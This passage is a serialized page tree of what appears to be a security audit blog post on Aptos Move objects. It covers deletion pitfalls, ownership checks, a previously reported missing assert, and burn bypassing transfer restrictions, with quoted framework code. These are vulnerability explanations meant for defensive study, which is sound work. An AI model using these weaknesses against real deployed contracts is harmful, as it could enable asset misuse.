\"Undeletable\" means, that it's not possible to get a permission to delete it. This is verified in ",{"type":22,"tag":114,"props":64819,"children":64821},{"className":64820},[],[64822],{"type":28,"value":64823},"fungible_asset::add_fungibility",{"type":28,"value":213},{"type":22,"tag":107,"props":64826,"children":64828},{"className":109,"code":64827,"language":111,"meta":7,"style":7},"assert!(!object::can_generate_delete_ref(constructor_ref), error::invalid_argument(EOBJECT_IS_DELETABLE));\n",[64829],{"type":22,"tag":114,"props":64830,"children":64831},{"__ignoreMap":7},[64832],{"type":22,"tag":118,"props":64833,"children":64834},{"class":120,"line":121},[64835,64839,64843,64847,64852,64856,64861,64865,64870,64875,64879,64883],{"type":22,"tag":118,"props":64836,"children":64837},{"style":532},[64838],{"type":28,"value":43924},{"type":22,"tag":118,"props":64840,"children":64841},{"style":125},[64842],{"type":28,"value":540},{"type":22,"tag":118,"props":64844,"children":64845},{"style":210},[64846],{"type":28,"value":22581},{"type":22,"tag":118,"props":64848,"children":64849},{"style":125},[64850],{"type":28,"value":64851},"object",{"type":22,"tag":118,"props":64853,"children":64854},{"style":210},[64855],{"type":28,"value":1190},{"type":22,"tag":118,"props":64857,"children":64858},{"style":532},[64859],{"type":28,"value":64860},"can_generate_delete_ref",{"type":22,"tag":118,"props":64862,"children":64863},{"style":125},[64864],{"type":28,"value":540},{"type":22,"tag":118,"props":64866,"children":64867},{"style":204},[64868],{"type":28,"value":64869},"constructor_ref",{"type":22,"tag":118,"props":64871,"children":64872},{"style":125},[64873],{"type":28,"value":64874},"), error",{"type":22,"tag":118,"props":64876,"children":64877},{"style":210},[64878],{"type":28,"value":1190},{"type":22,"tag":118,"props":64880,"children":64881},{"style":532},[64882],{"type":28,"value":64315},{"type":22,"tag":118,"props":64884,"children":64885},{"style":125},[64886],{"type":28,"value":64887},"(EOBJECT_IS_DELETABLE));\n",{"type":22,"tag":31,"props":64889,"children":64890},{},[64891,64893,64898,64900,64905,64906,64913],{"type":28,"value":64892},"This object serves as the foundation for ownership tokens in the form of a ",{"type":22,"tag":114,"props":64894,"children":64896},{"className":64895},[],[64897],{"type":28,"value":63452},{"type":28,"value":64899},". This means that allowing it to be deletable wouldn't make sense and would impact the usability of such fungible assets, restricting users from accessing critical functionalities such as creating new stores. In the past the ",{"type":22,"tag":114,"props":64901,"children":64903},{"className":64902},[],[64904],{"type":28,"value":64823},{"type":28,"value":8467},{"type":22,"tag":42,"props":64907,"children":64910},{"href":64908,"rel":64909},"https://github.com/aptos-labs/aptos-core/commit/6976f8e9004b0f6ebb6fd976410d695c5a5a7ace",[46],[64911],{"type":28,"value":64912},"lacked this assert",{"type":28,"value":64914},", which we discovered and reported.",{"type":22,"tag":31,"props":64916,"children":64917},{},[64918,64923,64925,64930,64932,64937],{"type":22,"tag":114,"props":64919,"children":64921},{"className":64920},[],[64922],{"type":28,"value":64823},{"type":28,"value":64924}," transfers the ",{"type":22,"tag":114,"props":64926,"children":64928},{"className":64927},[],[64929],{"type":28,"value":63511},{"type":28,"value":64931}," and associated resources to this new object. After that, with the appropriate permissions, the ",{"type":22,"tag":114,"props":64933,"children":64935},{"className":64934},[],[64936],{"type":28,"value":63452},{"type":28,"value":64938}," can be minted, representing a share of ownership in that object.",{"type":22,"tag":107,"props":64940,"children":64942},{"className":109,"code":64941,"language":111,"meta":7,"style":7},"/// Make an existing object fungible by adding the Metadata resource.\npublic fun add_fungibility(\n    [...]\n): Object\u003CMetadata> {\n    [...]\n    move_to(metadata_object_signer,\n        Metadata {\n            name,\n            symbol,\n            decimals,\n            icon_uri,\n            project_uri,\n        }\n    );\n[...]\n}\n",[64943],{"type":22,"tag":114,"props":64944,"children":64945},{"__ignoreMap":7},[64946,64954,64974,64989,65016,65031,65052,65064,65076,65088,65100,65112,65124,65131,65138,65153],{"type":22,"tag":118,"props":64947,"children":64948},{"class":120,"line":121},[64949],{"type":22,"tag":118,"props":64950,"children":64951},{"style":257},[64952],{"type":28,"value":64953},"/// Make an existing object fungible by adding the Metadata resource.\n",{"type":22,"tag":118,"props":64955,"children":64956},{"class":120,"line":142},[64957,64961,64965,64970],{"type":22,"tag":118,"props":64958,"children":64959},{"style":204},[64960],{"type":28,"value":63616},{"type":22,"tag":118,"props":64962,"children":64963},{"style":204},[64964],{"type":28,"value":8216},{"type":22,"tag":118,"props":64966,"children":64967},{"style":532},[64968],{"type":28,"value":64969}," add_fungibility",{"type":22,"tag":118,"props":64971,"children":64972},{"style":125},[64973],{"type":28,"value":696},{"type":22,"tag":118,"props":64975,"children":64976},{"class":120,"line":177},[64977,64981,64985],{"type":22,"tag":118,"props":64978,"children":64979},{"style":125},[64980],{"type":28,"value":64659},{"type":22,"tag":118,"props":64982,"children":64983},{"style":210},[64984],{"type":28,"value":11589},{"type":22,"tag":118,"props":64986,"children":64987},{"style":125},[64988],{"type":28,"value":13772},{"type":22,"tag":118,"props":64990,"children":64991},{"class":120,"line":195},[64992,64996,65000,65004,65008,65012],{"type":22,"tag":118,"props":64993,"children":64994},{"style":125},[64995],{"type":28,"value":3627},{"type":22,"tag":118,"props":64997,"children":64998},{"style":210},[64999],{"type":28,"value":213},{"type":22,"tag":118,"props":65001,"children":65002},{"style":131},[65003],{"type":28,"value":63502},{"type":22,"tag":118,"props":65005,"children":65006},{"style":125},[65007],{"type":28,"value":559},{"type":22,"tag":118,"props":65009,"children":65010},{"style":131},[65011],{"type":28,"value":63511},{"type":22,"tag":118,"props":65013,"children":65014},{"style":125},[65015],{"type":28,"value":174},{"type":22,"tag":118,"props":65017,"children":65018},{"class":120,"line":244},[65019,65023,65027],{"type":22,"tag":118,"props":65020,"children":65021},{"style":125},[65022],{"type":28,"value":64659},{"type":22,"tag":118,"props":65024,"children":65025},{"style":210},[65026],{"type":28,"value":11589},{"type":22,"tag":118,"props":65028,"children":65029},{"style":125},[65030],{"type":28,"value":13772},{"type":22,"tag":118,"props":65032,"children":65033},{"class":120,"line":253},[65034,65039,65043,65048],{"type":22,"tag":118,"props":65035,"children":65036},{"style":532},[65037],{"type":28,"value":65038},"    move_to",{"type":22,"tag":118,"props":65040,"children":65041},{"style":125},[65042],{"type":28,"value":540},{"type":22,"tag":118,"props":65044,"children":65045},{"style":204},[65046],{"type":28,"value":65047},"metadata_object_signer",{"type":22,"tag":118,"props":65049,"children":65050},{"style":125},[65051],{"type":28,"value":782},{"type":22,"tag":118,"props":65053,"children":65054},{"class":120,"line":263},[65055,65060],{"type":22,"tag":118,"props":65056,"children":65057},{"style":131},[65058],{"type":28,"value":65059},"        Metadata",{"type":22,"tag":118,"props":65061,"children":65062},{"style":125},[65063],{"type":28,"value":1474},{"type":22,"tag":118,"props":65065,"children":65066},{"class":120,"line":318},[65067,65072],{"type":22,"tag":118,"props":65068,"children":65069},{"style":204},[65070],{"type":28,"value":65071},"            name",{"type":22,"tag":118,"props":65073,"children":65074},{"style":125},[65075],{"type":28,"value":782},{"type":22,"tag":118,"props":65077,"children":65078},{"class":120,"line":351},[65079,65084],{"type":22,"tag":118,"props":65080,"children":65081},{"style":204},[65082],{"type":28,"value":65083},"            symbol",{"type":22,"tag":118,"props":65085,"children":65086},{"style":125},[65087],{"type":28,"value":782},{"type":22,"tag":118,"props":65089,"children":65090},{"class":120,"line":359},[65091,65096],{"type":22,"tag":118,"props":65092,"children":65093},{"style":204},[65094],{"type":28,"value":65095},"            decimals",{"type":22,"tag":118,"props":65097,"children":65098},{"style":125},[65099],{"type":28,"value":782},{"type":22,"tag":118,"props":65101,"children":65102},{"class":120,"line":368},[65103,65108],{"type":22,"tag":118,"props":65104,"children":65105},{"style":204},[65106],{"type":28,"value":65107},"            icon_uri",{"type":22,"tag":118,"props":65109,"children":65110},{"style":125},[65111],{"type":28,"value":782},{"type":22,"tag":118,"props":65113,"children":65114},{"class":120,"line":384},[65115,65120],{"type":22,"tag":118,"props":65116,"children":65117},{"style":204},[65118],{"type":28,"value":65119},"            project_uri",{"type":22,"tag":118,"props":65121,"children":65122},{"style":125},[65123],{"type":28,"value":782},{"type":22,"tag":118,"props":65125,"children":65126},{"class":120,"line":417},[65127],{"type":22,"tag":118,"props":65128,"children":65129},{"style":125},[65130],{"type":28,"value":1835},{"type":22,"tag":118,"props":65132,"children":65133},{"class":120,"line":425},[65134],{"type":22,"tag":118,"props":65135,"children":65136},{"style":125},[65137],{"type":28,"value":45594},{"type":22,"tag":118,"props":65139,"children":65140},{"class":120,"line":441},[65141,65145,65149],{"type":22,"tag":118,"props":65142,"children":65143},{"style":125},[65144],{"type":28,"value":5746},{"type":22,"tag":118,"props":65146,"children":65147},{"style":210},[65148],{"type":28,"value":11589},{"type":22,"tag":118,"props":65150,"children":65151},{"style":125},[65152],{"type":28,"value":13772},{"type":22,"tag":118,"props":65154,"children":65155},{"class":120,"line":475},[65156],{"type":22,"tag":118,"props":65157,"children":65158},{"style":125},[65159],{"type":28,"value":481},{"type":22,"tag":20760,"props":65161,"children":65162},{},[],{"type":22,"tag":31,"props":65164,"children":65165},{},[65166,65168,65173,65175,65180],{"type":28,"value":65167},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":22,"tag":114,"props":65169,"children":65171},{"className":65170},[],[65172],{"type":28,"value":64017},{"type":28,"value":65174}," is also an object, and a \"secondary\" ",{"type":22,"tag":114,"props":65176,"children":65178},{"className":65177},[],[65179],{"type":28,"value":64017},{"type":28,"value":65181}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":22,"tag":107,"props":65183,"children":65185},{"className":109,"code":65184,"language":111,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[65186],{"type":22,"tag":114,"props":65187,"children":65188},{"__ignoreMap":7},[65189,65197,65239,65246,65254],{"type":22,"tag":118,"props":65190,"children":65191},{"class":120,"line":121},[65192],{"type":22,"tag":118,"props":65193,"children":65194},{"style":257},[65195],{"type":28,"value":65196},"//Fungible asset\n",{"type":22,"tag":118,"props":65198,"children":65199},{"class":120,"line":142},[65200,65204,65208,65213,65217,65222,65226,65230,65235],{"type":22,"tag":118,"props":65201,"children":65202},{"style":204},[65203],{"type":28,"value":63616},{"type":22,"tag":118,"props":65205,"children":65206},{"style":204},[65207],{"type":28,"value":8216},{"type":22,"tag":118,"props":65209,"children":65210},{"style":532},[65211],{"type":28,"value":65212}," remove_store",{"type":22,"tag":118,"props":65214,"children":65215},{"style":125},[65216],{"type":28,"value":540},{"type":22,"tag":118,"props":65218,"children":65219},{"style":204},[65220],{"type":28,"value":65221},"delete_ref",{"type":22,"tag":118,"props":65223,"children":65224},{"style":210},[65225],{"type":28,"value":213},{"type":22,"tag":118,"props":65227,"children":65228},{"style":210},[65229],{"type":28,"value":1430},{"type":22,"tag":118,"props":65231,"children":65232},{"style":131},[65233],{"type":28,"value":65234},"DeleteRef",{"type":22,"tag":118,"props":65236,"children":65237},{"style":125},[65238],{"type":28,"value":3665},{"type":22,"tag":118,"props":65240,"children":65241},{"class":120,"line":177},[65242],{"type":22,"tag":118,"props":65243,"children":65244},{"emptyLinePlaceholder":15},[65245],{"type":28,"value":250},{"type":22,"tag":118,"props":65247,"children":65248},{"class":120,"line":195},[65249],{"type":22,"tag":118,"props":65250,"children":65251},{"style":257},[65252],{"type":28,"value":65253},"//Object\n",{"type":22,"tag":118,"props":65255,"children":65256},{"class":120,"line":244},[65257,65261,65265,65270,65274,65279,65283,65288],{"type":22,"tag":118,"props":65258,"children":65259},{"style":204},[65260],{"type":28,"value":63616},{"type":22,"tag":118,"props":65262,"children":65263},{"style":204},[65264],{"type":28,"value":8216},{"type":22,"tag":118,"props":65266,"children":65267},{"style":532},[65268],{"type":28,"value":65269}," delete",{"type":22,"tag":118,"props":65271,"children":65272},{"style":125},[65273],{"type":28,"value":540},{"type":22,"tag":118,"props":65275,"children":65276},{"style":146},[65277],{"type":28,"value":65278},"ref",{"type":22,"tag":118,"props":65280,"children":65281},{"style":210},[65282],{"type":28,"value":213},{"type":22,"tag":118,"props":65284,"children":65285},{"style":131},[65286],{"type":28,"value":65287}," DeleteRef",{"type":22,"tag":118,"props":65289,"children":65290},{"style":125},[65291],{"type":28,"value":3665},{"type":22,"tag":31,"props":65293,"children":65294},{},[65295,65297,65303,65305,65310,65312,65317,65319,65324,65326,65332,65334,65340,65342,65347],{"type":28,"value":65296},"When ",{"type":22,"tag":114,"props":65298,"children":65300},{"className":65299},[],[65301],{"type":28,"value":65302},"object::delete",{"type":28,"value":65304}," removes the ",{"type":22,"tag":114,"props":65306,"children":65308},{"className":65307},[],[65309],{"type":28,"value":50791},{"type":28,"value":65311}," from a ",{"type":22,"tag":114,"props":65313,"children":65315},{"className":65314},[],[65316],{"type":28,"value":64017},{"type":28,"value":65318}," object, the ",{"type":22,"tag":114,"props":65320,"children":65322},{"className":65321},[],[65323],{"type":28,"value":64017},{"type":28,"value":65325}," resource becomes permanently undeletable. This is because ",{"type":22,"tag":114,"props":65327,"children":65329},{"className":65328},[],[65330],{"type":28,"value":65331},"remove_store",{"type":28,"value":65333}," can't create an ",{"type":22,"tag":114,"props":65335,"children":65337},{"className":65336},[],[65338],{"type":28,"value":65339},"Object\u003CFungibleStore>",{"type":28,"value":65341}," without an ",{"type":22,"tag":114,"props":65343,"children":65345},{"className":65344},[],[65346],{"type":28,"value":50791},{"type":28,"value":65348}," underneath, causing the operation to fail.",{"type":22,"tag":107,"props":65350,"children":65352},{"className":109,"code":65351,"language":111,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[65353],{"type":22,"tag":114,"props":65354,"children":65355},{"__ignoreMap":7},[65356,65411,65463,65478],{"type":22,"tag":118,"props":65357,"children":65358},{"class":120,"line":121},[65359,65363,65367,65371,65375,65379,65383,65387,65391,65395,65399,65403,65407],{"type":22,"tag":118,"props":65360,"children":65361},{"style":204},[65362],{"type":28,"value":63616},{"type":22,"tag":118,"props":65364,"children":65365},{"style":204},[65366],{"type":28,"value":8216},{"type":22,"tag":118,"props":65368,"children":65369},{"style":532},[65370],{"type":28,"value":65212},{"type":22,"tag":118,"props":65372,"children":65373},{"style":125},[65374],{"type":28,"value":540},{"type":22,"tag":118,"props":65376,"children":65377},{"style":204},[65378],{"type":28,"value":65221},{"type":22,"tag":118,"props":65380,"children":65381},{"style":210},[65382],{"type":28,"value":213},{"type":22,"tag":118,"props":65384,"children":65385},{"style":210},[65386],{"type":28,"value":1430},{"type":22,"tag":118,"props":65388,"children":65389},{"style":131},[65390],{"type":28,"value":65234},{"type":22,"tag":118,"props":65392,"children":65393},{"style":125},[65394],{"type":28,"value":588},{"type":22,"tag":118,"props":65396,"children":65397},{"style":204},[65398],{"type":28,"value":8353},{"type":22,"tag":118,"props":65400,"children":65401},{"style":125},[65402],{"type":28,"value":24983},{"type":22,"tag":118,"props":65404,"children":65405},{"style":210},[65406],{"type":28,"value":11589},{"type":22,"tag":118,"props":65408,"children":65409},{"style":125},[65410],{"type":28,"value":63707},{"type":22,"tag":118,"props":65412,"children":65413},{"class":120,"line":142},[65414,65418,65422,65426,65430,65434,65438,65443,65447,65451,65455,65459],{"type":22,"tag":118,"props":65415,"children":65416},{"style":146},[65417],{"type":28,"value":4152},{"type":22,"tag":118,"props":65419,"children":65420},{"style":204},[65421],{"type":28,"value":7841},{"type":22,"tag":118,"props":65423,"children":65424},{"style":210},[65425],{"type":28,"value":837},{"type":22,"tag":118,"props":65427,"children":65428},{"style":210},[65429],{"type":28,"value":1430},{"type":22,"tag":118,"props":65431,"children":65432},{"style":125},[65433],{"type":28,"value":64851},{"type":22,"tag":118,"props":65435,"children":65436},{"style":210},[65437],{"type":28,"value":1190},{"type":22,"tag":118,"props":65439,"children":65440},{"style":204},[65441],{"type":28,"value":65442},"object_from_delete_ref",{"type":22,"tag":118,"props":65444,"children":65445},{"style":125},[65446],{"type":28,"value":559},{"type":22,"tag":118,"props":65448,"children":65449},{"style":131},[65450],{"type":28,"value":64017},{"type":22,"tag":118,"props":65452,"children":65453},{"style":125},[65454],{"type":28,"value":9617},{"type":22,"tag":118,"props":65456,"children":65457},{"style":204},[65458],{"type":28,"value":65221},{"type":22,"tag":118,"props":65460,"children":65461},{"style":125},[65462],{"type":28,"value":682},{"type":22,"tag":118,"props":65464,"children":65465},{"class":120,"line":177},[65466,65470,65474],{"type":22,"tag":118,"props":65467,"children":65468},{"style":125},[65469],{"type":28,"value":64659},{"type":22,"tag":118,"props":65471,"children":65472},{"style":210},[65473],{"type":28,"value":11589},{"type":22,"tag":118,"props":65475,"children":65476},{"style":125},[65477],{"type":28,"value":13772},{"type":22,"tag":118,"props":65479,"children":65480},{"class":120,"line":195},[65481],{"type":22,"tag":118,"props":65482,"children":65483},{"style":125},[65484],{"type":28,"value":481},{"type":22,"tag":31,"props":65486,"children":65487},{},[65488,65490,65495,65497,65503,65505,65510],{"type":28,"value":65489},"In addition, such \"deleted\" ",{"type":22,"tag":114,"props":65491,"children":65493},{"className":65492},[],[65494],{"type":28,"value":64017},{"type":28,"value":65496}," objects remain at least partially operable. For instance, ",{"type":22,"tag":114,"props":65498,"children":65500},{"className":65499},[],[65501],{"type":28,"value":65502},"fungible_asset::deposit",{"type":28,"value":65504}," does not check the ",{"type":22,"tag":114,"props":65506,"children":65508},{"className":65507},[],[65509],{"type":28,"value":50791},{"type":28,"value":65511}," existence.",{"type":22,"tag":1289,"props":65513,"children":65515},{"id":65514},"ownership",[65516],{"type":28,"value":65517},"Ownership",{"type":22,"tag":31,"props":65519,"children":65520},{},[65521,65523,65528,65530,65536,65538,65543],{"type":28,"value":65522},"Each object has an owner. Fungible assets rely on the ",{"type":22,"tag":114,"props":65524,"children":65526},{"className":65525},[],[65527],{"type":28,"value":50791},{"type":28,"value":65529}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":22,"tag":114,"props":65531,"children":65533},{"className":65532},[],[65534],{"type":28,"value":65535},"object::owns",{"type":28,"value":65537}," to confirm ownership of the ",{"type":22,"tag":114,"props":65539,"children":65541},{"className":65540},[],[65542],{"type":28,"value":64017},{"type":28,"value":52117},{"type":22,"tag":107,"props":65545,"children":65547},{"className":109,"code":65546,"language":111,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[65548],{"type":22,"tag":114,"props":65549,"children":65550},{"__ignoreMap":7},[65551,65599,65623,65650,65670,65698,65766,65781],{"type":22,"tag":118,"props":65552,"children":65553},{"class":120,"line":121},[65554,65558,65562,65566,65570,65574,65579,65583,65587,65591,65595],{"type":22,"tag":118,"props":65555,"children":65556},{"style":532},[65557],{"type":28,"value":63616},{"type":22,"tag":118,"props":65559,"children":65560},{"style":125},[65561],{"type":28,"value":540},{"type":22,"tag":118,"props":65563,"children":65564},{"style":204},[65565],{"type":28,"value":9106},{"type":22,"tag":118,"props":65567,"children":65568},{"style":125},[65569],{"type":28,"value":588},{"type":22,"tag":118,"props":65571,"children":65572},{"style":204},[65573],{"type":28,"value":9115},{"type":22,"tag":118,"props":65575,"children":65576},{"style":204},[65577],{"type":28,"value":65578}," withdraw_sanity_check",{"type":22,"tag":118,"props":65580,"children":65581},{"style":125},[65582],{"type":28,"value":559},{"type":22,"tag":118,"props":65584,"children":65585},{"style":131},[65586],{"type":28,"value":7997},{"type":22,"tag":118,"props":65588,"children":65589},{"style":210},[65590],{"type":28,"value":213},{"type":22,"tag":118,"props":65592,"children":65593},{"style":204},[65594],{"type":28,"value":7941},{"type":22,"tag":118,"props":65596,"children":65597},{"style":125},[65598],{"type":28,"value":8598},{"type":22,"tag":118,"props":65600,"children":65601},{"class":120,"line":142},[65602,65607,65611,65615,65619],{"type":22,"tag":118,"props":65603,"children":65604},{"style":204},[65605],{"type":28,"value":65606},"    owner",{"type":22,"tag":118,"props":65608,"children":65609},{"style":210},[65610],{"type":28,"value":213},{"type":22,"tag":118,"props":65612,"children":65613},{"style":210},[65614],{"type":28,"value":1430},{"type":22,"tag":118,"props":65616,"children":65617},{"style":204},[65618],{"type":28,"value":9153},{"type":22,"tag":118,"props":65620,"children":65621},{"style":125},[65622],{"type":28,"value":782},{"type":22,"tag":118,"props":65624,"children":65625},{"class":120,"line":177},[65626,65630,65634,65638,65642,65646],{"type":22,"tag":118,"props":65627,"children":65628},{"style":204},[65629],{"type":28,"value":31352},{"type":22,"tag":118,"props":65631,"children":65632},{"style":210},[65633],{"type":28,"value":213},{"type":22,"tag":118,"props":65635,"children":65636},{"style":131},[65637],{"type":28,"value":63502},{"type":22,"tag":118,"props":65639,"children":65640},{"style":125},[65641],{"type":28,"value":559},{"type":22,"tag":118,"props":65643,"children":65644},{"style":131},[65645],{"type":28,"value":7997},{"type":22,"tag":118,"props":65647,"children":65648},{"style":125},[65649],{"type":28,"value":241},{"type":22,"tag":118,"props":65651,"children":65652},{"class":120,"line":195},[65653,65658,65662,65666],{"type":22,"tag":118,"props":65654,"children":65655},{"style":204},[65656],{"type":28,"value":65657},"    abort_on_dispatch",{"type":22,"tag":118,"props":65659,"children":65660},{"style":210},[65661],{"type":28,"value":213},{"type":22,"tag":118,"props":65663,"children":65664},{"style":131},[65665],{"type":28,"value":1469},{"type":22,"tag":118,"props":65667,"children":65668},{"style":125},[65669],{"type":28,"value":782},{"type":22,"tag":118,"props":65671,"children":65672},{"class":120,"line":244},[65673,65677,65681,65685,65689,65694],{"type":22,"tag":118,"props":65674,"children":65675},{"style":125},[65676],{"type":28,"value":588},{"type":22,"tag":118,"props":65678,"children":65679},{"style":204},[65680],{"type":28,"value":8353},{"type":22,"tag":118,"props":65682,"children":65683},{"style":131},[65684],{"type":28,"value":64037},{"type":22,"tag":118,"props":65686,"children":65687},{"style":125},[65688],{"type":28,"value":231},{"type":22,"tag":118,"props":65690,"children":65691},{"style":131},[65692],{"type":28,"value":65693},"DispatchFunctionStore",{"type":22,"tag":118,"props":65695,"children":65696},{"style":125},[65697],{"type":28,"value":1474},{"type":22,"tag":118,"props":65699,"children":65700},{"class":120,"line":253},[65701,65705,65710,65714,65719,65723,65727,65731,65735,65739,65743,65747,65752,65756,65761],{"type":22,"tag":118,"props":65702,"children":65703},{"style":532},[65704],{"type":28,"value":64285},{"type":22,"tag":118,"props":65706,"children":65707},{"style":125},[65708],{"type":28,"value":65709},"(object",{"type":22,"tag":118,"props":65711,"children":65712},{"style":210},[65713],{"type":28,"value":1190},{"type":22,"tag":118,"props":65715,"children":65716},{"style":532},[65717],{"type":28,"value":65718},"owns",{"type":22,"tag":118,"props":65720,"children":65721},{"style":125},[65722],{"type":28,"value":540},{"type":22,"tag":118,"props":65724,"children":65725},{"style":204},[65726],{"type":28,"value":7950},{"type":22,"tag":118,"props":65728,"children":65729},{"style":125},[65730],{"type":28,"value":14931},{"type":22,"tag":118,"props":65732,"children":65733},{"style":210},[65734],{"type":28,"value":1190},{"type":22,"tag":118,"props":65736,"children":65737},{"style":532},[65738],{"type":28,"value":9216},{"type":22,"tag":118,"props":65740,"children":65741},{"style":125},[65742],{"type":28,"value":540},{"type":22,"tag":118,"props":65744,"children":65745},{"style":204},[65746],{"type":28,"value":17583},{"type":22,"tag":118,"props":65748,"children":65749},{"style":125},[65750],{"type":28,"value":65751},")), error",{"type":22,"tag":118,"props":65753,"children":65754},{"style":210},[65755],{"type":28,"value":1190},{"type":22,"tag":118,"props":65757,"children":65758},{"style":532},[65759],{"type":28,"value":65760},"permission_denied",{"type":22,"tag":118,"props":65762,"children":65763},{"style":125},[65764],{"type":28,"value":65765},"(ENOT_STORE_OWNER));\n",{"type":22,"tag":118,"props":65767,"children":65768},{"class":120,"line":263},[65769,65773,65777],{"type":22,"tag":118,"props":65770,"children":65771},{"style":125},[65772],{"type":28,"value":64659},{"type":22,"tag":118,"props":65774,"children":65775},{"style":210},[65776],{"type":28,"value":11589},{"type":22,"tag":118,"props":65778,"children":65779},{"style":125},[65780],{"type":28,"value":13772},{"type":22,"tag":118,"props":65782,"children":65783},{"class":120,"line":318},[65784],{"type":22,"tag":118,"props":65785,"children":65786},{"style":125},[65787],{"type":28,"value":481},{"type":22,"tag":31,"props":65789,"children":65790},{},[65791,65793,65798,65800,65806,65808,65814],{"type":28,"value":65792},"The thing to note is that defining ownership with ",{"type":22,"tag":114,"props":65794,"children":65796},{"className":65795},[],[65797],{"type":28,"value":65535},{"type":28,"value":65799}," can be tricky. The ",{"type":22,"tag":114,"props":65801,"children":65803},{"className":65802},[],[65804],{"type":28,"value":65805},"burn",{"type":28,"value":65807}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":22,"tag":114,"props":65809,"children":65811},{"className":65810},[],[65812],{"type":28,"value":65813},"BURN_ADDRESS",{"type":28,"value":65815}," while bypassing transfer restrictions:",{"type":22,"tag":107,"props":65817,"children":65819},{"className":109,"code":65818,"language":111,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[65820],{"type":22,"tag":114,"props":65821,"children":65822},{"__ignoreMap":7},[65823,65920,65961,66011,66040,66090,66111],{"type":22,"tag":118,"props":65824,"children":65825},{"class":120,"line":121},[65826,65830,65834,65838,65843,65847,65851,65855,65859,65863,65867,65871,65875,65879,65883,65887,65891,65895,65899,65903,65907,65911,65916],{"type":22,"tag":118,"props":65827,"children":65828},{"style":204},[65829],{"type":28,"value":63616},{"type":22,"tag":118,"props":65831,"children":65832},{"style":204},[65833],{"type":28,"value":64583},{"type":22,"tag":118,"props":65835,"children":65836},{"style":204},[65837],{"type":28,"value":8216},{"type":22,"tag":118,"props":65839,"children":65840},{"style":204},[65841],{"type":28,"value":65842}," burn",{"type":22,"tag":118,"props":65844,"children":65845},{"style":125},[65846],{"type":28,"value":559},{"type":22,"tag":118,"props":65848,"children":65849},{"style":131},[65850],{"type":28,"value":7997},{"type":22,"tag":118,"props":65852,"children":65853},{"style":210},[65854],{"type":28,"value":213},{"type":22,"tag":118,"props":65856,"children":65857},{"style":204},[65858],{"type":28,"value":7941},{"type":22,"tag":118,"props":65860,"children":65861},{"style":125},[65862],{"type":28,"value":9617},{"type":22,"tag":118,"props":65864,"children":65865},{"style":204},[65866],{"type":28,"value":17583},{"type":22,"tag":118,"props":65868,"children":65869},{"style":210},[65870],{"type":28,"value":213},{"type":22,"tag":118,"props":65872,"children":65873},{"style":210},[65874],{"type":28,"value":1430},{"type":22,"tag":118,"props":65876,"children":65877},{"style":204},[65878],{"type":28,"value":9153},{"type":22,"tag":118,"props":65880,"children":65881},{"style":125},[65882],{"type":28,"value":231},{"type":22,"tag":118,"props":65884,"children":65885},{"style":204},[65886],{"type":28,"value":64851},{"type":22,"tag":118,"props":65888,"children":65889},{"style":210},[65890],{"type":28,"value":213},{"type":22,"tag":118,"props":65892,"children":65893},{"style":131},[65894],{"type":28,"value":63502},{"type":22,"tag":118,"props":65896,"children":65897},{"style":125},[65898],{"type":28,"value":559},{"type":22,"tag":118,"props":65900,"children":65901},{"style":131},[65902],{"type":28,"value":7997},{"type":22,"tag":118,"props":65904,"children":65905},{"style":125},[65906],{"type":28,"value":3504},{"type":22,"tag":118,"props":65908,"children":65909},{"style":204},[65910],{"type":28,"value":8353},{"type":22,"tag":118,"props":65912,"children":65913},{"style":131},[65914],{"type":28,"value":65915}," ObjectCore",{"type":22,"tag":118,"props":65917,"children":65918},{"style":125},[65919],{"type":28,"value":1474},{"type":22,"tag":118,"props":65921,"children":65922},{"class":120,"line":142},[65923,65927,65932,65936,65941,65945,65949,65953,65957],{"type":22,"tag":118,"props":65924,"children":65925},{"style":146},[65926],{"type":28,"value":4152},{"type":22,"tag":118,"props":65928,"children":65929},{"style":204},[65930],{"type":28,"value":65931}," original_owner",{"type":22,"tag":118,"props":65933,"children":65934},{"style":210},[65935],{"type":28,"value":837},{"type":22,"tag":118,"props":65937,"children":65938},{"style":125},[65939],{"type":28,"value":65940}," signer",{"type":22,"tag":118,"props":65942,"children":65943},{"style":210},[65944],{"type":28,"value":1190},{"type":22,"tag":118,"props":65946,"children":65947},{"style":532},[65948],{"type":28,"value":9216},{"type":22,"tag":118,"props":65950,"children":65951},{"style":125},[65952],{"type":28,"value":540},{"type":22,"tag":118,"props":65954,"children":65955},{"style":204},[65956],{"type":28,"value":17583},{"type":22,"tag":118,"props":65958,"children":65959},{"style":125},[65960],{"type":28,"value":682},{"type":22,"tag":118,"props":65962,"children":65963},{"class":120,"line":177},[65964,65968,65972,65977,65981,65985,65989,65994,65998,66002,66006],{"type":22,"tag":118,"props":65965,"children":65966},{"style":532},[65967],{"type":28,"value":64285},{"type":22,"tag":118,"props":65969,"children":65970},{"style":125},[65971],{"type":28,"value":540},{"type":22,"tag":118,"props":65973,"children":65974},{"style":532},[65975],{"type":28,"value":65976},"is_owner",{"type":22,"tag":118,"props":65978,"children":65979},{"style":125},[65980],{"type":28,"value":540},{"type":22,"tag":118,"props":65982,"children":65983},{"style":204},[65984],{"type":28,"value":64851},{"type":22,"tag":118,"props":65986,"children":65987},{"style":125},[65988],{"type":28,"value":231},{"type":22,"tag":118,"props":65990,"children":65991},{"style":204},[65992],{"type":28,"value":65993},"original_owner",{"type":22,"tag":118,"props":65995,"children":6599